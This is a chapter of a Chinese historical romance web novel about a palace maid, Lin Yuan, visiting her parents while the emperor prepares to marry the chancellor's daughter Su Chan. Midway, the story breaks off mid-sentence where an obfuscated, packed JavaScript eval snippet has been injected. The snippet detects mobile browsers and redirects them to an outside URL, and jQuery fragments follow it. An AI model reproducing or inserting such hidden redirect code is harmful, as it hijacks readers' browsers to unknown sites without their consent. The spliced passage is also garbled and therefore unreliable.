“回来了，回来了就好啊！”
阿父阿母的话，夹着林鸢呼哧呼哧吃汤饼的声音，听起来也暖融融的。
林武与秦氏开了怀，准备明日赶个早集，去肉铺子里抢最嫩的豚肉，要猪肩上的那一方，来做炙肉。
林鸢说，宫里的人，最忌炙肉，说是贵人不喜烟熏火燎的气息，可是“烟火之气才是家呀”，“依我看，贵人不喜欢烟火气，不喜欢炙肉，那是因为宫里的太官、尚食，没人有阿母这样的手艺”，“也没有阿父挑肉的好眼光啊。”
夜里，她同秦氏睡在一处。
秦氏问阿鸢：“这些年在宫里，受了什么委屈？”
林鸢鼻子一酸，眼睛涩了。
阿母问的不是 “有没有”。
她用双眼量出了女儿的瘦削，凭着直觉，认定这里头必有“委屈”了。
林鸢没有忍住抽噎，把头埋在被衾里，瓮声瓮气地说：“天大的委屈。”
秦氏听见这话，一身的赘肉都跟着颤了。
“快，快告诉阿母。”她将林鸢一把搂住。
林鸢顺势往她身上钻，声音便闷在了秦氏衣衫上那淡淡的皂角香里：
“见不到阿母，吃不到阿母做的蜜饵，难道不是天大的委屈么？”
五天前，尚书令送来的诏书，就那样放在宣室殿的案几上。
林鸢当然是不该看的。
不过，她咬着笔杆，眯起眼睛想，陛下送给她的空白缣帛，该怎么写呢？
她思索许久。
诏书的开头，是不是要援引一下诗书？
就像她小时候，在长安的城墙上看到过的布告一样。开头是什么“农者，兴德之本”、“洪范八政，以食为首”①。
她还记得，来看告示的人，一个个都穿着单薄的褐衣短衫。但越来越多的人挤在了一起，刚开春的天都不冷了。
她啃着一块发干的麦饼，被人群挤到了太阳底下闪闪发亮的字跟前。
抬头只看得出，布告上涂着一个翘着两根辫子的人，张着一张大嘴，也在塞着饼子。
她看得咯咯直笑，口中的饼渣簌簌地落到地上，人群的唾沫星子噗噗落到她的脑袋上。
挂在城墙上的那些字，在不同的人嘴里，就这么一个一个，七零八碎地拼凑了起来。
她才知道，她盯着看的，是个“食”。
将这些字拼凑在一起的人，念着念着也笑了。
可不得高兴吗？
“红饭八蒸”，大约是赤豆饭？粉蒸，清蒸，盐蒸，肉蒸，糖蒸……啧啧啧，比平日里吃的藿羹豆饭，不知道要好吃多少吧！
她嚼着的饼子索然无味了，什么时候才能吃得上呢？
很快就能了吧。
天暖和起来，她离开了茅草棚子，阿父阿母在城郊有了五十亩可以开垦的荒田，还有了一头赊赁来的黄牛。
那时从天狩四年，刚改为了昭元元年。
她很快地往案上的诏书扫了一眼。
果真有诗。
“鸳鸯于飞，肃肃其羽。邕邕和鸣，顾眄俦侣②。”
她在上林苑的昆明池看见过不少鸳鸯。
成双成对，交颈相靡。
令人移不开眼。
她这一眼于是也没有收住。
后面跟着的是，“故阳邑大长公主与丞相阳信侯苏澹之女，婵，柔嘉为则，淑慎其仪……”
再下边的字，朦朦胧胧，糊成了一片，就看不见了。
是额发沾着的雪粒，在宣室殿的热气里全化了，溅落在眼睫上。
殿外殿内，一冷一热，像惹人突发了寒疾，连脚步都发虚，跟踩在水里一样。
林鸢忽然想起了，那双戏水的鸳鸯边上，被溅了一身透湿的野鸭。
不知道是怎么出的殿，只记得出去的时候，李顺唤住了她。
“对了，这是给陛下的吗？”李顺指着她方才带来的青铜鋞③，有些为难，“听说苏丞相一行人快到司隶，马车陷在了一方因雪坍塌了的官道上，陛下方才召见光禄卿，羽林校尉，左冯翊，往白虎殿去了。看时辰，大约在那里设膳了。”
林鸢提了提唇角：“这是给你的。”
“真的？”李顺双眼发直，映在铜鋞鎏金的龙首衔环上。
是缹的鸡汤呀，还炖了山参。
他喜滋滋地抱起了食盒，先前见陛下吃过，只是闻着那香，还没尝一口，就直夸林鸢堪当汤官了。
水汽氤氲，他没看到林鸢的眸色一点一点地暗下去，暗下去。
像是殿外越来越沉的天色。
雪越来越大了。
林鸢仰起脸，见雪花纷飞，在朔风中盘旋成了一个又一个逃不出的圈。
她一头扎了进去。
冷彻心扉的时候，她记起来，第一次见着萧珣，梅花枝上的雪落了一身，灌到了脖子里。
啊，冷，真是冷啊。
那一刻，她想起的是兄长递上的手炉，阿母做的汤饼，阿父粗糙的大手将她裘衣的领子向上一提，提到下颌，拉紧了，就灌不进风了。
可是茫茫的雪里，她孤身一人。
椒房殿的奉茶宫人遣她一大早来收梅花花蕊里的雪，用来烹茶，不过，连日阴冷，花开得不盛，从日出到食时，才收了不足半瓮。
眼前不知哪里冒出来的人，冷得像是雪堆的，冰做的。
她骇了一跳，踢倒了脚边收雪的铜瓮，那半瓮于是只剩下了不足三分。
她抽了一口冷气，心里想起了阿父在她入宫之前的嘱咐：多笑一笑，运气也就跟着来了。
果然。
她冻僵了脸，努力扯开了唇角，笑得大约很傻。傻得却不大可笑。
冰雪一样的人，因着愠怒之气，脸上又多了一重寒霜。
不过，好歹，他答应了帮她。
呃，是帮冰天雪地里，比她可怜的鸟。
收花上的雪时，林鸢在树下发现了一只雏鸟，羽毛湿哒哒的，眼睛还没张开。
她抬头，在最高的树杈上看见了一个巢。
她想把小鸟送回巢里。可是，树杈比她踮起脚还高了好几寸。
环顾了一圈，没有趁脚的岩石。
这才看见了雪堆出来的人。
“你认得这是什么鸟吗？”那个不知是内侍，还是侍卫，或是什么朝官的男子，冷冷问。
“是鹊？”林鸢低头看向手心里瑟缩着的小小的一团。
“知道鸠占鹊巢吗？”
“……这是鸠？”她狐疑。
那男子倒很适合做个廷尉或是司隶校尉，一个眼神盯得她手中的鸟儿直哆嗦，下一刻就要不打自招，发出“啾啾”的啼鸣了。
“那是鸠。”那人抬手，指向了不远处枝头一只灰褐色的鸟，“这个鹊巢迟早会被那只鸠占了。这样的雏鸟，送回去了，也很难活着。”
小小的鹊鸟还是放回了巢内。
最后，公子在树杈边上，系上了林鸢用芦苇与芒狄编的一个草人。
他的白衣角上沾了泥，已经不像雪做的了。
“多谢公子！”
林鸢恭谨地做了个揖。哪怕是内侍，也乐意听见“公子”这样的称呼的吧。
他扬了扬眉：“替这只雏鸟道谢吗？”
“嗯！”林鸢笑着应道，“还替它的阿母道谢。”
等那公子转身离开的时候，林鸢唤了一声“等等”。她小跑了两步，刚想伸手，想到手上沾了鸟巢上泥巴与干草屑，于是将手缩了回去，抽出了一方帕子，在公子的广袖上，拭去了一片细细的雏鸟羽毛。
等她道过一句“公子慢走”，欲离去时，那个说“等等”的人，成了那位公子。
“你叫什么？在哪个殿伺候？”
林鸢说了自己刚到椒房殿伺候，是粗使的宫女。
“那请问，公子是……”
他浅浅一笑，浅得就像太液池在无风无雨的日子里，荡开的波纹：“你会知道的。”
林鸢纳罕，目送那人消失在了一片茫茫的雪里。太阳从林梢出来了，她不觉得冷了，仰面见那小小的鸟巢高踞枝头，万丈金光从白雪与红梅之间穿了过去。
只是，今年这场雪，好像不会停了似的。
躺在榻上，能听见风雪撞在窗纱上的噗噗声。
阿母帮林鸢掖了掖被角，嘴上还在不停问着：“那些宫人，内侍，有没有欺负你？先前的皇后，待你好不好？皇后被废的时候，你是椒房殿的宫女，有没有跟着受了什么罚？听说当今的皇帝，跟先帝一样，心狠手辣……”
林鸢把眼泪蹭在了阿母的中衣上，“那个瞎了眼的，”声音抽抽噎噎，“嗯……算命的，半仙，不是说了吗，阿鸢的运道好着呢。一路都能遇见贵人。”
入了宫，能看得见的贵人的确很多。
沿着宫墙走一路，能遇见四个中贵人，八个羽林骑，十六个虎贲郎。
“还说，连沾点我气运的，都会成贵人。”
这也没错。这不，皇后遭了废黜，从皇后贬成了贵人。
林鸢抽了抽鼻子，掰着指头，同阿母一一细数起来：
“才入宫不到两年，就去了椒房殿伺候，再也不用帮那些内侍洗脏衣裳，倒虎子④了。”
嗯，变成了帮椒房殿的宫女们洗衣裳，提水桶。
“住着一间大屋子，有这样三间屋子加起来大。”
只不过，里头住着六个人罢了。
“夜里点整晚的灯，也不用怕费灯油！”
毕竟灯下的人不是她啊。她立在一旁，眼皮打架。
“还有绸缎的衣裳呢，上头满满的都是刺绣。”
是啊，她看见皇后满绣的深衣，眼睛都花了。
秦氏听得目眩神驰，渐渐放下心来。
她也开了话匣。
这些年，永和里，还有家里发生的事儿，比未央宫里头还多，还要意义非凡。
譬如，儿时的玩伴阿金嫁人，锣鼓喧天，前来送嫁的乡邻挤了整整五里地，比嫁了自己的女儿还要欢喜。
毕竟，家里有女待嫁的人都长长舒了口气。“连马脸阿金都嫁了个有上造爵⑤的小吏，不仅岁俸百石，还有二顷田，从逼仄的一宅搬去了二宅！”
再比如，这些时日，后山上的几株梅花开了，比往年早了整整半月，也比往年更红，更香。
林鸢早被炭火烘干了泪，听得和秦氏一样笑眼弯弯。
“那阿母明儿做蜜渍梅花？”
“半仙说是那是报喜仙花。”
声音撞在一起。
阿母舔了舔干燥的唇，看着林鸢同样咂了咂嘴，眼睛亮晶晶的，跟及笄那年离开家时一模一样。
那时候，她扒拉着牛车的窗沿，说：“阿母，等我出宫回家，要吃蜜饵。”“诶！”阿母跟着牛车走，重重应下。
“还有粔籹。”“嗯。知道。都记着呢。”
“别舍不得加蜜啊，上回加的蜜太少了，不够甜。还有汤饼，记得别加芜荽啊，对了，还有胡饼，要加上肉丁，半肥半瘦那种，切的细细的，熬出油来，李屠夫家的豚肉……”
阿母掬一把泪，“行了，快走吧。”
秦氏转而说起了一件奇事，“你阿父昨日回家，衣衫上不知从何处粘来了一个铜钉，这不，人家都说，这意味着，家里要‘添丁’了。要知道，阿银，你先前一道玩的，阿银，你还记得不——”
“阿母！”林鸢打个哈欠，嗔怪，“我是刚从龙首山回来，不是刚从幽都山投胎回来啊。”
阿母拍了拍林鸢的脑门：“什么幽都山，尽胡说！这阿银如今要是站在你跟前，你没准都认不出她了！她现在啊，是俩孩子的阿母了！说回来，她嫁给他表兄之前啊，听说也是踩着了个钉子呢。结果，一过门就怀上了，如今，第二个孩子都已经满地跑了。”阿母啧啧地咂了咂嘴，“你说，是不是奇了？”
“是啊！奇了，怪了。”林鸢答应，“这东平乡哪来这么多钉子呀？不会是私卖铜铁的铁匠李被县吏追缉，翻了车吧？”
“那个铁匠李早关到中都官狱里头去了，有两年了吧，私铸铜铁可是大罪，你阿父早就劝过他。这不，赚的钱也都罚没了，新妇带着孩子另嫁了人，他阿母天天哭，眼睛都快看不见了，平日有上顿没下顿的，靠着乡里人的接济。哎，等等，我方才说的，你听明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102804|179813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有——”
“明白明白。”林鸢翻了个身，转向了墙面，朦胧应道，“以后走路得小心，踩一下钉子，想想就怪疼的。对了，阿母，我刚才去溷厕，看见圈里头的母猪肚子挺大了。是不是过两个月，就要生了？”
“要到三月里才生呢。四个月前刚生了一窝，有十二头呢。欸，刚说哪儿了？里正的儿子阿德你还记得么，他现在可出息了，在栎阳当上官了，他的阿母如今都拿鼻子看人，说是再过几年，只怕连县尉，县令也做得上呢……哟，这孩子，睡得倒快。”
秦氏打了长长的哈欠，拿绵衣塞好了二人的被衾中间灌着风的地方，也躺了下来，“也是，一路累着了吧？又是风又是雪的，这么长的路……”
林鸢没睡着，在阿母如雷的鼾声中，盯着不见五指的黑。
雪色刺破了窗纱。
榻上的阿母已经不见了。
隔壁也是静悄悄的。庖厨的灶上留有余温，打开看，是一早做好的饼。
一辆双辕辎车停在院外。
林鸢揣着芝麻胡饼，向等着她的马车走了过去。
拉车的马儿披着雪，迎风很快化了一半，飞溅开去，泪点子一样，洒在了雪地凌乱的车辙上。
*
女子的眼睫上沾了雪粒，看起来泪眼盈盈。
“是，陛下，我回来了。”
她身旁，是一个戴着进贤冠的五旬男子。
“臣，苏澹，前来谢恩，拜见陛下。”苏澹说着，朝萧珣拜下。
女子双手及额，同样稽首。
萧珣随着那句脱口而出的话而伸出的手，悬在半空。
指尖微蜷，被女子扬起的广袖掠过。
“妾，苏婵，恭请圣安。”
他抬了抬手，道了一句：“不必多礼。”
听见这个名字，李顺也有些恍惚。
有那么一刹那，他以为林鸢回来了。
她们身量差不多，连模样，一眼看过去，也有那么三分相似。
这就是丞相与大长公主的女儿啊。
李顺刚入宫的时候，就听说过苏婵的美名。
听说，她与当今陛下相同年岁，一出生，就被相士算得是“凤命”，那时，宫禁上下，长安内外，还流传着一句话‘凤兮凤兮还未央’，被先帝笑称，以后注定是要嫁回皇家的。
因为大长公主的关系，苏婵自幼出入宫禁，就像出入自家的别院。八岁开始，还同陛下同坐于承明殿，在自己阿父的门下受学。
瞿阳对此不满，板着脸称，“男女不杂坐，不亲授”。
苏婵听了这话，朝瞿阳恭谨福道：“多谢瞿伯父教导，阿婵定当谨记于心。”
她果真谨记于心。
转日就扮作男子的模样，束起了发，穿着淡青裾袍，脚下蹬一双木屐。
只是，到了豆蔻之年，从诗学到了礼，她来宫中的次数便少了许多。
也有人说，因为瞿阳在前朝与苏澹生了龃龉，瞿阳借题发挥，讽刺苏澹教女无方，虽为人师，却不知人伦之礼。
苏澹为此气出了病，大长公主护女心切，亲自登了大司马府邸的大门。
大司马夫人瞿晏随了夫姓，却不随夫性，心高气傲，性烈如火，与之起了争执，二人竟双双动了手。
府兵与近侍不知帮谁，也分不清大司马夫人与大长公主究竟孰贵，思来想去，纠结再三，便纷纷杵成了石柱，看着二人相互抓花了脸，扯坏了衣裳，成了八街九陌的谈资，争吵中，又传出苏婵曾经爬上过陛下床榻的流言。
不久之后，瞿清如册为了皇后，苏婵便随着父母去了五六百里外，上郡北边靠近朔方的封邑，阳邑县。
她的身影和名字便在宫中、在长安城里渐渐销了迹。
说来，苏婵也有几分不幸。
京中高门不少，但经此一遭，无人敢求娶了。
倒是淮阳王萧珵先时曾向苏澹提亲。
谁知苏澹不喜萧珵家风，放出话去，称，女儿年岁还小，愿在家中多留几年。
这一留就留了五年。
而两年前，不及五旬年岁的大长公主猝然薨了，五年又拖到了如今。
时隔六年，重回长安，苏澹望向窗纱，长长地叹了一句：“长安也是这么大的风雪啊。”
萧珣唇角微提：“一直如是。”
他请二人入座，“这么大的风雪，真是辛苦苏丞相了。其实，等过些时日，风停雪止了，再回长安也无妨。如今朝中一切还算平顺。”
“陛下，瞿阳的罪行，臣听说，还没有定下来。”
“瞿阳的妻儿犯下的是谋逆大罪，按律，夷三族并不为过。可瞿阳，毕竟是先帝托孤的重臣，若是不坐实了他的罪，只以连坐草草结案，势必难以堵住御史台与天下人悠悠之口。”萧珣转动手中的茶盏，茶雾寥寥散开：“朕留着他，还想查一查天狩三年的旧案。”
苏澹手中的耳杯轻轻晃了晃，随之颔首：“陛下圣明。”
萧珣道：“苏丞相自嘉平三年，偏居北地，一直苦心为朕筹谋。没有苏卿接应，戳破了瞿清川与其逆党的阴谋，瞿清川说不定真能兵指长安了。”
“是陛下棋高，老臣不过是尽臣子之责，任陛下驱使罢了。”苏澹向萧珣抱拳。
萧珣抬手，示意免礼。
“瞿氏擅权多年，朋党遍野，臣当年离开长安，本以为终其一世，只能留在北地了。一收到陛下的恩诏，老夫和婵儿啊，一刻都等不了了。”苏澹往苏婵旁侧的空座席上看了一眼，“只可惜大长公主她……”
苏澹叹着气，而苏婵早已湿了眼眶。
萧珣看着苏婵湿漉漉的眼睛，想起了两年前。
这么多年，他们只在大长公主猝亡的那年，萧珣往上郡致哀，匆匆见过一面。
萧珣下马，见到的苏婵，一身孝衣，一个泪人。
秋风瑟瑟，草木零落，苏婵像一朵单薄的花，要被风吹折了。
她说，阿母从来不喜欢上郡的阳邑，这儿的水太涩，这儿的山太高，这儿的人粗鄙，这儿的风太厉。这儿离长安，太远太远了。
她说：“阿珣，带我回家，好不好？”